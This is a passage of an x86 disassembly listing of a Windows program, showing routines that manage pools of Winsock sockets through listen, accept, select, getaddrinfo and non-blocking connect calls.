		call	dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_404822:				; CODE XREF: sub_4046BC+146j
					; sub_4046BC+156j
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		mov	ecx, [ebp+var_2C]
		mov	edx, [ebp+var_34]
		mov	[ecx+eax*4+4], edx
		mov	eax, [ebp+var_2C]
		mov	eax, [eax]
		inc	eax
		mov	ecx, [ebp+var_2C]
		mov	[ecx], eax
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 200h
		jnz	short loc_404849
		jmp	short loc_40484E
; ---------------------------------------------------------------------------


loc_404849:				; CODE XREF: sub_4046BC+189j
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_40484E:				; CODE XREF: sub_4046BC+B6j
					; sub_4046BC+18Bj
		push	[ebp+var_30]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		cmp	dword ptr [eax], 0
		jnz	short loc_40486C
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	short locret_40486F
; ---------------------------------------------------------------------------


loc_40486C:				; CODE XREF: sub_4046BC+1A1j
		mov	eax, [ebp+var_2C]

locret_40486F:				; CODE XREF: sub_4046BC+38j
					; sub_4046BC+9Cj ...
		leave
		retn
sub_4046BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404871	proc near		; CODE XREF: sub_411BBC+B0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40488F
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_40488F:				; CODE XREF: sub_404871+18j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx]
		cmp	eax, 200h
		jbe	short loc_4048AD
		push	[ebp+var_4]
		call	sub_404CBB
		pop	ecx
		xor	eax, eax
		jmp	short locret_4048ED
; ---------------------------------------------------------------------------


loc_4048AD:				; CODE XREF: sub_404871+2Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*4+4]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		mov	ecx, [ebp+var_4]
		add	eax, [ecx]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		push	[ebp+var_4]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		pop	eax

locret_4048ED:				; CODE XREF: sub_404871+1Cj
					; sub_404871+3Aj
		leave
		retn
sub_404871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4048EF	proc near		; CODE XREF: sub_4020C2+22Ep
					; sub_403DF3+8Dp ...

var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0A8h
		push	esi
		mov	[ebp+var_4], 80h
		and	[ebp+var_8C], 0
		jmp	short loc_404916
; ---------------------------------------------------------------------------


loc_404909:				; CODE XREF: sub_4048EF+133j
					; sub_4048EF:loc_404A32j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404916:				; CODE XREF: sub_4048EF+18j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404A37
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404A32


loc_40494A:				; CODE XREF: sub_4048EF+100j
		and	[ebp+var_9C], 0
		jmp	short loc_404960
; ---------------------------------------------------------------------------


loc_404953:				; CODE XREF: sub_4048EF:loc_4049E6j
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax


loc_404960:				; CODE XREF: sub_4048EF+62j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_9C]
		cmp	ecx, [eax+804h]
		jnb	short loc_4049EB
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_4049E6


loc_404990:				; CODE XREF: sub_4048EF+E0j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_9C], eax
		jnb	short loc_4049D1
		mov	eax, [ebp+var_9C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_9C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_9C]
		inc	eax
		mov	[ebp+var_9C], eax
		jmp	short loc_404990
; ---------------------------------------------------------------------------


loc_4049D1:				; CODE XREF: sub_4048EF+B1j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_4049EB
; ---------------------------------------------------------------------------


loc_4049E6:				; CODE XREF: sub_4048EF+9Fj
		jmp	loc_404953
; ---------------------------------------------------------------------------


loc_4049EB:				; CODE XREF: sub_4048EF+80j
					; sub_4048EF+F5j
		xor	eax, eax
		test	eax, eax
		jnz	loc_40494A
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_98], eax
		cmp	[ebp+var_98], 0FFFFFFFFh
		jnz	short loc_404A27
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A27:				; CODE XREF: sub_4048EF+131j
		mov	eax, [ebp+var_98]
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404A32:				; CODE XREF: sub_4048EF+55j
		jmp	loc_404909
; ---------------------------------------------------------------------------


loc_404A37:				; CODE XREF: sub_4048EF+32j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		and	[ebp+var_8C], 0
		jmp	short loc_404A57
; ---------------------------------------------------------------------------


loc_404A4A:				; CODE XREF: sub_4048EF+21Dj
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404A57:				; CODE XREF: sub_4048EF+159j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404B11


loc_404A68:				; CODE XREF: sub_4048EF+217j
		and	[ebp+var_A0], 0
		jmp	short loc_404A7E
; ---------------------------------------------------------------------------


loc_404A71:				; CODE XREF: sub_4048EF:loc_404AB0j
		mov	eax, [ebp+var_A0]
		inc	eax
		mov	[ebp+var_A0], eax


loc_404A7E:				; CODE XREF: sub_4048EF+180j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnb	short loc_404AB2
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404AB0
		jmp	short loc_404AB2
; ---------------------------------------------------------------------------


loc_404AB0:				; CODE XREF: sub_4048EF+1BDj
		jmp	short loc_404A71
; ---------------------------------------------------------------------------


loc_404AB2:				; CODE XREF: sub_4048EF+19Ej
					; sub_4048EF+1BFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A0]
		cmp	ecx, [eax+804h]
		jnz	short loc_404B02
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+804h], 200h
		jnb	short loc_404B02
		mov	eax, [ebp+var_A0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax


loc_404B02:				; CODE XREF: sub_4048EF+1D2j
					; sub_4048EF+1E1j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404A68
		jmp	loc_404A4A
; ---------------------------------------------------------------------------


loc_404B11:				; CODE XREF: sub_4048EF+173j
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_94], eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_90], edx
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41722C	; select
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 0
		jnz	short loc_404B71
		or	eax, 0FFFFFFFFh
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B71:				; CODE XREF: sub_4048EF+278j
		cmp	[ebp+var_88], 0FFFFFFFFh
		jnz	short loc_404B81
		xor	eax, eax
		jmp	loc_404CB8
; ---------------------------------------------------------------------------


loc_404B81:				; CODE XREF: sub_4048EF+289j
		and	[ebp+var_8C], 0
		jmp	short loc_404B97
; ---------------------------------------------------------------------------


loc_404B8A:				; CODE XREF: sub_4048EF+3B4j
					; sub_4048EF:loc_404CB0j
		mov	eax, [ebp+var_8C]
		inc	eax
		mov	[ebp+var_8C], eax


loc_404B97:				; CODE XREF: sub_4048EF+299j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8C]
		cmp	ecx, [eax]
		jnb	loc_404CB5
		mov	eax, [ebp+arg_0]
		add	eax, 804h
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CB0


loc_404BCB:				; CODE XREF: sub_4048EF+381j
		and	[ebp+var_A8], 0
		jmp	short loc_404BE1
; ---------------------------------------------------------------------------


loc_404BD4:				; CODE XREF: sub_4048EF:loc_404C67j
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax


loc_404BE1:				; CODE XREF: sub_4048EF+2E3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_A8]
		cmp	ecx, [eax+804h]
		jnb	short loc_404C6C
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8C]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+808h]
		cmp	eax, [esi+edx*4+4]
		jnz	short loc_404C67


loc_404C11:				; CODE XREF: sub_4048EF+361j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		cmp	[ebp+var_A8], eax
		jnb	short loc_404C52
		mov	eax, [ebp+var_A8]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_A8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+80Ch]
		mov	[ecx+eax*4+808h], edx
		mov	eax, [ebp+var_A8]
		inc	eax
		mov	[ebp+var_A8], eax
		jmp	short loc_404C11
; ---------------------------------------------------------------------------


loc_404C52:				; CODE XREF: sub_4048EF+332j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+804h]
		dec	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+804h], eax
		jmp	short loc_404C6C
; ---------------------------------------------------------------------------


loc_404C67:				; CODE XREF: sub_4048EF+320j
		jmp	loc_404BD4
; ---------------------------------------------------------------------------


loc_404C6C:				; CODE XREF: sub_4048EF+301j
					; sub_4048EF+376j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404BCB
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, [ebp+var_8C]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	dword_4171FC	; accept
		mov	[ebp+var_A4], eax
		cmp	[ebp+var_A4], 0FFFFFFFFh
		jnz	short loc_404CA8
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CA8:				; CODE XREF: sub_4048EF+3B2j
		mov	eax, [ebp+var_A4]
		jmp	short loc_404CB8
; ---------------------------------------------------------------------------


loc_404CB0:				; CODE XREF: sub_4048EF+2D6j
		jmp	loc_404B8A
; ---------------------------------------------------------------------------


loc_404CB5:				; CODE XREF: sub_4048EF+2B3j
		or	eax, 0FFFFFFFFh


loc_404CB8:				; CODE XREF: sub_4048EF+13Ej
					; sub_4048EF+27Dj ...
		pop	esi
		leave
		retn
sub_4048EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CBB	proc near		; CODE XREF: sub_4020C2+175p
					; sub_4020C2+25Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CC5:				; CODE XREF: sub_404CBB+3Ej
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404CCC:				; CODE XREF: sub_404CBB+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short loc_404CFB
		cmp	dword_41DE38, 0
		jz	short loc_404CE9
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 64h
		jbe	short loc_404CE9
		jmp	short loc_404CFB
; ---------------------------------------------------------------------------


loc_404CE9:				; CODE XREF: sub_404CBB+22j
					; sub_404CBB+2Aj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+4]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_404CC5
; ---------------------------------------------------------------------------


loc_404CFB:				; CODE XREF: sub_404CBB+19j
					; sub_404CBB+2Cj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+804h], 0
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		leave
		retn
sub_404CBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D10	proc near		; CODE XREF: sub_41349C+1B7p
					; sub_4143B0+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 200h
		jbe	short loc_404D21
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D21:				; CODE XREF: sub_404D10+Bj
		push	1010h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_404D39
		xor	eax, eax
		jmp	short locret_404D4B
; ---------------------------------------------------------------------------


loc_404D39:				; CODE XREF: sub_404D10+23j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]

locret_404D4B:				; CODE XREF: sub_404D10+Fj
					; sub_404D10+27j
		leave
		retn
sub_404D10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4D	proc near		; CODE XREF: sub_41349C+417p
					; sub_4143B0+109p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jnz	short loc_404D6A
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short loc_404D99
; ---------------------------------------------------------------------------


loc_404D6A:				; CODE XREF: sub_404D4D+Ej
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4+0Ch], edx
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax+4]
		xor	edx, edx
		cmp	eax, [ecx]
		setnz	dl
		mov	eax, edx


loc_404D99:				; CODE XREF: sub_404D4D+1Bj
		pop	ebp
		retn
sub_404D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D9B	proc near		; CODE XREF: sub_41349C+512p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404DAC
; ---------------------------------------------------------------------------


loc_404DA5:				; CODE XREF: sub_404D9B:loc_404E18j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404DAC:				; CODE XREF: sub_404D9B+8j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short locret_404E1A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+eax*4+0Ch]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_404E18
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+8]
		jb	short loc_404DDE
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+8]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax


loc_404DDE:				; CODE XREF: sub_404D9B+34j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		sub	eax, [ebp+var_4]
		shl	eax, 2
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+10h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		dec	eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		jmp	short locret_404E1A
; ---------------------------------------------------------------------------


loc_404E18:				; CODE XREF: sub_404D9B+29j
		jmp	short loc_404DA5
; ---------------------------------------------------------------------------

locret_404E1A:				; CODE XREF: sub_404D9B+1Aj
					; sub_404D9B+7Bj
		leave
		retn
sub_404D9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DE8C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
